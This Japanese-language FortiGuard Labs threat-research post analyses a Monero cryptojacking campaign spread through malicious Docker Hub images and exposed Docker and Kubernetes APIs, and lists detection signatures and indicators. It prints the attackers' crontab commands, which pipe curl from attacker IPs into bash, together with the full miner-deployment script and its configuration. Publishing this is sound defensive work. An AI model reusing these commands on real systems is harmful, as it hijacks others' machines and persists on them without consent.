FortiGuard Labs 脅威リサーチ

クリプトマイニングで新たなボットネットが出現か?

投稿者 David Maciejak | 2018年6月27日

2018年2月、複数のロシア人核科学者が国内の核弾頭施設でコンピューティングリソースを使用し、仮想通貨をマイニングした疑いで逮捕されました。「利益があがる」という明白な理由から、クリプトマイナーは世界中で急速に拡大、拡散しています。脅威のアクターも、個人のパソコンだけでなくサーバーまで侵害するさまざまな攻撃を用いてこの波に便乗しています。彼らが狙っているのは、モネロ(XMR)などの仮想通貨をできるだけすばやくマイニングするための強力なCPUのリソースです。マイニングの対象になる感染したマシンが多いほど、手に入る利益も多くなるのです。

この数か月、従来のランサムウェアは影を潜めるようになっています。それはおそらく、身代金を支払う被害者がどんどん減っているからでしょう。専門家はこれについて、サイバー犯罪者が暗号化データへのアクセスを実際に復旧するのかが保証されないため、被害者は身代金を支払わないのだと指摘しています。また、このブログでも何度かご紹介したように、単純に技術的な観点から見て、多くの場合は元のデータへのアクセスを回復することは不可能です。

ところが昨年は、部隊にさらなるボットを招集するためにIoTマルウェアを組み込む手法だけでなく、仮想通貨のマイナーをデバイスにデプロイするための手法を使った作戦まで出現しました。現在、この傾向はさらに進展し、サイバー犯罪者はパッチの公開から数日以内に新しい重大な脆弱性を悪用するようになっています。たとえば、3月にDrupalのCMSで特定された脆弱性は、パッチの公開からほんの数日後に悪用されました。Drupalはオープンソースのコンテンツ管理システム(CMS)であり、数百万に及ぶ世界中のウェブサイトで活用されています。

Volexity社が投稿した「Drupalgeddon 2: Profiting from Mass Exploitation」に詳述されているように、「Drupalgeddon 2.0」(CVE-2018-7600)と呼ばれるこの脆弱性は、未知のアクターによってクリプトマイニングで瞬く間に悪用されました。興味深いのは、この脆弱性に利用されたTTP(MITREで策定されている脅威モデル。Tactics, Techniques and Procedures)が、他の手法で以前に発見されたものとまったく同じものだということです。では、特定されたこれらのキャンペーンの裏に存在する脅威のアクターが同一ではないとすれば、1つの新しい脆弱性から別の脆弱性へと飛び移るアクターとは一体何者なのでしょうか?

特に、この手法で利用されたモネロウォレットのアドレスは、これらの攻撃を結びつける一定したデータ要素の1つになっています。

41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo

この攻撃を他の攻撃に関連付けるその他のエビデンスは、Oracle WebLogic Server(CVE-2017-10271)の脆弱性が標的となった2017年12月の攻撃でも特定されています。この攻撃では、悪意のあるクリプトマイニングのペイロードを公開サーバーで強制的にダウンロード、実行させることで、パッチの公開から数日後にリモートコード実行の脆弱性が悪用されました。

それより前にも、Docker HubでホストされているDockerイメージについてお知らせしましたが、これは悪意のあるマルウェアを組み込むためものだと考えられています。ここでは、2017年5月に作成されたDockerアカウント「docker123321」(画像1を参照)で、Cron、Tomcat、Mysqlといった普及しているプロジェクトで現在19のイメージが提供されています。

画像1: Docker Hubの「docker123321」のトップページ

CLIを使ってこれらのイメージの1つを調べてみたところ、次のようになりました。

docker inspect docker123321/kk

"Cmd": [

                "/bin/sh",

                "-c",

                "echo -e  \"* * * * * root /usr/bin/curl -s hxxp://198.181.41.97:8220/test44.sh | bash -s\\n\" >> /mnt/etc/crontab"

            ],

ご覧のように、「"Cmd"」にはコンテナの起動中に実行されるコマンドラインが含まれています。 ここでは、リモートサーバーからの「test44.sh」ファイルの自動ダウンロードを目的に、Linuxのcronジョブスケジューラにコマンドラインが追加されます。

シェルスクリプトの内容は次のとおりです。

#!/bin/bash

(docker pause `docker ps|grep kube-apis |awk '{print $1}'`;docker pause `docker ps|grep nginx78 |awk '{print $1}'`;docker run --name sosmseww --restart unless-stopped

--read-only -m 50M  bitnn/alpine-xmrig -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1;docker run --name sosmsea2 --restart unless-stopped --read-only -m 50M  bitnn/alpine-xmrig -o stratum+tcp://xmr.crypto-pool.fr:333

3 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1;docker run --name sosmsen2 --restart unle

ss-stopped --read-only -m 50M  bitnn/alpine-xmrig -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1;docker run --name sosmsek2 --restart unless-stopped --read-only -m 50M  bitnn/alpine-xmrig -o stratum+tcp://xmr.crypto-

pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1;docker run --name sosmset2 --r

estart unless-stopped --read-only -m 50M  bitnn/alpine-xmrig -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1;kubectl delete $(kubectl --server=aaa get all | grep "nginx78-" | awk "{print \$1}"))

どうやら、クリプトマイニングの正式なイメージである「bitnn/alpine-xmrig」の5つのインスタンスが、「sosmseww」、「sosmsea2」、「sosmsen2」、「sosmsek2」、「sosmset2」という名前で実行されているようです。ローカルに存在しない場合、このイメージは自動で取り込まれます。これら5つのコンテナはすべて、「crypto-pool.fr」プールに接続しています。

もう少し最近のケースとしては、1月の最初の週に公開レジストリにプッシュされた「docker123321/cron」というイメージがあります。

docker inspect docker123321/cron

           "Cmd": [

                "/bin/sh",

                "-c",

                "#(nop) ",

                "CMD [\"/bin/sh\" \"-c\" \"echo \\\"* * * * * curl -s hxxp:// 162.212.157.244:8220/logo1.jpg | bash -s\\\" >> /mnt/etc/crontab\"]"

            ],

以下で定義されているように、この「logo1.jpg」ファイルは仮想通貨のマイナーをダウンロードしてローカルで実行するシェルスクリプトです。

#!/bin/sh

ps aux | grep -vw suppoie | awk '{if($3>40.0) print $2}' | while read procid

do

kill -9 $procid

done

rm -rf /dev/shm/jboss

ps -fe|grep -w suppoie |grep -v grep

if [ $? -eq 0 ]

then

pwd

else

crontab -r || true && \

echo "* * * * * curl -s hxxp://162.212.157.244:8220/logo1.jpg | bash -s" >> /tmp/cron || true && \

crontab /tmp/cron || true && \

rm -rf /tmp/cron || true && \

curl -o /var/tmp/config.json hxxp://162.212.157.244:8220/1.json

curl -o /var/tmp/suppoie hxxp://162.212.157.244:8220/rig

chmod 777 /var/tmp/suppoie

cd /var/tmp

proc=`grep -c ^processor /proc/cpuinfo`

cores=$((($proc+1)/2))

num=$(($cores*3))

/sbin/sysctl -w vm.nr_hugepages=`$num`

nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &

fi

sleep 3

echo "running....."

このスクリプトでは、リモートサーバーから「rig」ファイルをダウンロードする前に、いくつかのバックグラウンドテストが実行され、ハードウェアの確認が行われます。バイナリを見ればわかるとおり、この「rig」ファイルは普及するモネロ(XMR)マイナー「XMRig」がコンパイルされたものです。

.rodata:00000000004A1388  0000002B  C       XMRig 2.5.3\n built on Apr 28 2018 with GCC”

次に、hxxp://162.212.157.244:8220/1.jsonからダウンロードされたクリプトマイナーの構成ファイル「config.json」が、コマンドラインの引数として渡されます。

このファイルを見ると、FortiGuard Labsが監視しているモネロウォレットが参照されているものの、その時点で「monerohash.com」プールに関連付けられているのがわかります。

{

    "algo": "cryptonight",  // cryptonight (default) or cryptonight-lite

    "av": 0,                // algorithm variation, 0 auto select

    "background": true,    // true to run the miner in the background

    "colors": true,         // false to disable colored output   

    "cpu-affinity": null,   // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1

    "cpu-priority": null,   // set process priority (0 idle, 2 normal to 5 highest)

    "donate-level": 1,      // donate level, mininum 1%

    "log-file": null,       // log all output to a file, example: "c:/some/path/xmrig.log"

    "max-cpu-usage": 95,    // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option. 

    "print-time": 60,       // print hashrate report every N seconds

    "retries": 5,           // number of times to retry before switch to backup server

    "retry-pause": 5,       // time to pause between retries

    "safe": false,          // true to safe adjust threads and av settings for current CPU

    "threads": null,        // number of miner threads

    "pools": [

        {

            "url": "stratum+tcp://monerohash.com:5555",   // URL of mining server

            "user": "41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo",                        // username for mining server

            "pass": "x",                       // password for mining server

            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)

            "nicehash": false                  // enable nicehash/xmrig-proxy support

        }

    ],

    "api": {

        "port": 0,                             // port for the miner API https://github.com/xmrig/xmrig/wiki/API

        "access-token": null,                  // access token for API

        "worker-id": null                      // custom worker-id for API

    }

}

こうしたDocker関連の攻撃はどのくらい広がっているのか

上記の「docker123321/kk」の攻撃はこれまでに10万回以上、「docker123321/cron」の攻撃は100万回以上発生しています。このユーザーが保存したイメージはすべて、ほぼ同程度の影響をもたらしています。

そもそもどのように感染が発生するのか? そして、これほど大規模なデプロイがどのように実現するのか?

もちろん、こうした攻撃が手動でデプロイされていないのは確実でしょう。実際のところ、攻撃は完全に自動化されていると見られます。ここでは、不適切な構成のDockerとKubernetesのインストールを特定するためのスクリプトが開発された可能性が高いと言えます。Dockerは、クライアント/サーバーのアーキテクチャとして機能するため、サービスはREST APIを介して完全にリモートで管理できます。

デフォルトでは、サービスはTCP/2375とTCP/2376で使用できます。これらのポートが適切な認証スキームなしにインターネットに接続されると、環境に大きな脅威がもたらされる恐れがあります。ポート8080でListenするKubernetesについても同様です。

Aqua Security社は、Black Hat US 2017で「Well that Escalated Quickly! How Abusing Docker API Led to Remote Code Execution Same Origin Bypass and Persistence in the Hypervisor via Shadow Containers」というプレゼンテーションを用いてこれらの攻撃のデモを行いました。

FortiGuard Labsでは上記のとおり、同じモネロウォレットが使用されているものの、マイニングプールがキャンペーン/攻撃のベクトル間で切り替えられているというエビデンスを特定しました。これが確認されたマイニングプールは下記のとおりです。

  • monerohash.com
  • moneropool.com
  • minexmr.com
  • monero.hashvault.pro
  • dwarfpool.com
  • supportxmr.com
  • monero.crypto-pool.fr

ちなみに、「minexmr.com」と「monero.crypto-pool.fr」ではすでにこのアドレスが停止され、検出済みのボットネットアクティビティとして登録されています。こうした情報をプール間で共有することは理にかなっていますが、現時点ではそれがまだ進捗していません。アクターは現在までにおよそ630のモネロマイニングに成功していますが、これを現在のUSドルの為替レートで換算すると172,000ドル超に相当します。これをわずか1年あまりで手にしているのです。こうした最新のハッシング法では1か月当たりおよそ12,000ドルにのぼる被害が発生しているものの、モネロの設計上の匿名性が理由で、脅威のアクターまでトランザクションをたどることができません。

まとめ

セキュリティ業界では、悪意のあるアクティビティをレジストラやISPに報告するのが一般的です。仮想通貨に関するサービスの不正使用については、世界中でウォレットが無効になるよう、必ずプールのオーナーに直接報告することをおすすめします。

クリプトマイナーの脅威はランサムウェアを凌駕するのでしょうか? それとも、すでにランサムウェアを上回っているのでしょうか? これは答えるのが難しい質問です。FortiGuard Labsでは、こうしたアクティビティの監視を継続し、今後も悪意のあるイベントを報告していきます。

解決策

下記のAVシグネチャは、これらの攻撃に関連するリスクウェアのファイルを検出するために作成されたものです。

  • Linux/CoinMiner.AE!tr、Riskware/MoneroMiner

この記事で取り上げた脆弱性に対応するIPSシグネチャ:

  • * Drupal.Core.Form.Rendering.Component.Remote.Code.Execution: CVE-2018-7600に対応
  • * Oracle.WebLogic.Server.wls-wsat.Component.Code.Injection: CVE-2017-10271に対応

現在、FortiGuard Webフィルタリングサービスでは悪意のあるダウンロードURLとC2をブロックしています。

-= FortiGuard Lion Team =-

IoC:

ファイル:

  • ec2ab9a279d73f8ee26cf47bced5a00dd540e75469d098a0f5f0a44d69a4a935 test44.sh
  • 31bae6f19b32b7bb7188dd4860040979cf6cee352d1135892d654a4df0df01c1 1.json
  • 4b346c1a7f29147fc16a8b2fc72b9762b14c2d3860b6431a09e33570800cabfe rig

ウォレット:

  • 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo

IP:

  • 158.69.133.18:8220
  • 162.212.157.244:8220
  • 198.181.41.97:8220

最近の脅威に関する詳細情報については、フォーティネットの脅威レポート(最新版)をご覧ください。